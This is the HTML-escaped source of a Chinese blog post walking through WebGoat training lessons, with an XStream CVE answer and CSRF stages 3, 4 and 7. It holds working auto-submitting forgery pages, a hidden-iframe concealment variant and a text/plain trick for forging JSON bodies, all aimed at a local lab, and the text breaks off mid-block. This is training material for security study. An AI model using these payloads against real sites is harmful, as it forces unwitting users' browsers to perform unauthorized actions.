&lt;p&gt;这题是利用一个给出的漏洞，详细内容可以去&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;x-stream.github.io&#x2F;CVE-2013-7285.html&quot;&gt;这里&lt;&#x2F;a&gt;查看。可以利用这个漏洞对上传其它类型的对象，或给类加上动态代理。答案为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;java.lang.Integer&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;1
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;java.lang.Integer&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;a8-2013-request-forgeries&quot;&gt;(A8:2013) Request Forgeries&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;cross-site-request-forgeries&quot;&gt;Cross-Site Request Forgeries&lt;&#x2F;h2&gt;
&lt;p&gt;CSRF也是一种经典的攻击方式了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-3&quot;&gt;Stage 3&lt;&#x2F;h3&gt;
&lt;p&gt;再写一个网页。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;f() {
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;document&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;.getElementById(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;form&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;).submit();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;        }
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body onload&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;f()&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;method=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;POST&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;action=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;csrf&#x2F;basic-get-flag&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;csrf&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动一个http服务器，浏览器打开就行了。但是，这还不够隐蔽，可以把它套在一个&lt;code&gt;iframe&lt;&#x2F;code&gt;里面。并且把&lt;code&gt;iframe&lt;&#x2F;code&gt;隐藏，就可以完美隐藏了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;iframe style&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;display&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;none&lt;&#x2F;span&gt;&lt;span&gt;;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;iframe&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;src=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;srcdoc=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; id=&amp;quot;form&amp;quot; action=&amp;quot;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;csrf&#x2F;review&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;reviewText&amp;quot; value=&amp;quot;hacked&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;stars&amp;quot; value=&amp;quot;1&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;validateReq&amp;quot; value=&amp;quot;2aa14227b9a13d0bede0388a7fba9aa9&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;        &amp;lt;&#x2F;form&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;        &amp;lt;script&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;            document.getElementById(&amp;quot;form&amp;quot;).submit();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;        &amp;lt;&#x2F;script&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;        &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;iframe&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是啊，现实总是和教科书上的不一样，现在的浏览器已经默认不加载不同源的iframe了，那也没办法，只能明显一点了。&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;webgoat-6-vulnerable-components-request-forgeries&#x2F;.&#x2F;Stage3_failure.png&quot; alt=&quot;Stage3_failure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-4&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;也和刚刚一样。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;method=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;POST&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;action=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;csrf&#x2F;review&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;reviewText&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hacked&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;stars&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;validateReq&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;2aa14227b9a13d0bede0388a7fba9aa9&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;document&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;.getElementById(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;form&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;).submit();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-7&quot;&gt;Stage 7&lt;&#x2F;h3&gt;
&lt;p&gt;同样，再写一个网页，这次要传一段json，但是用表单似乎不可能，但是可以利用一个只有name的input，来实现传纯字符串。但是，里面不能出现空格，否则会别替换成加号。但还有一个小问题，如果只有&lt;code&gt;name&lt;&#x2F;code&gt;的话，请求结尾会是一个等会，导致解析错误&lt;del&gt;(不知道为什么别人没有这个错误)&lt;&#x2F;del&gt;。可以用一个小技巧，和&lt;code&gt;value&lt;&#x2F;code&gt;组合，把等号变成一个&lt;code&gt;json&lt;&#x2F;code&gt;的值。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;method=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;POST&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;enctype=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;text&#x2F;plain&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;action=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;csrf&#x2F;feedback&#x2F;message&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;type=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;hidden&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;name=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;{&amp;quot;name&amp;quot;:&amp;quot;WebGoat&amp;quot;,&amp;quot;email&amp;quot;:&amp;quot;webgoat@webgoat.org&amp;quot;,&amp;quot;content&amp;quot;:&amp;quot;WebGoatisthebest!!&amp;quot;,&amp;quot;1&amp;quot;:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;value=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;quot;}&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;document&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;.getElementById(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;form&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;).submit();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e8bf6a;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后发送的请求是这样的&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoat&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;email&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;webgoat@webgoat.org&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;content&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;WebGoatisthebest!!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span 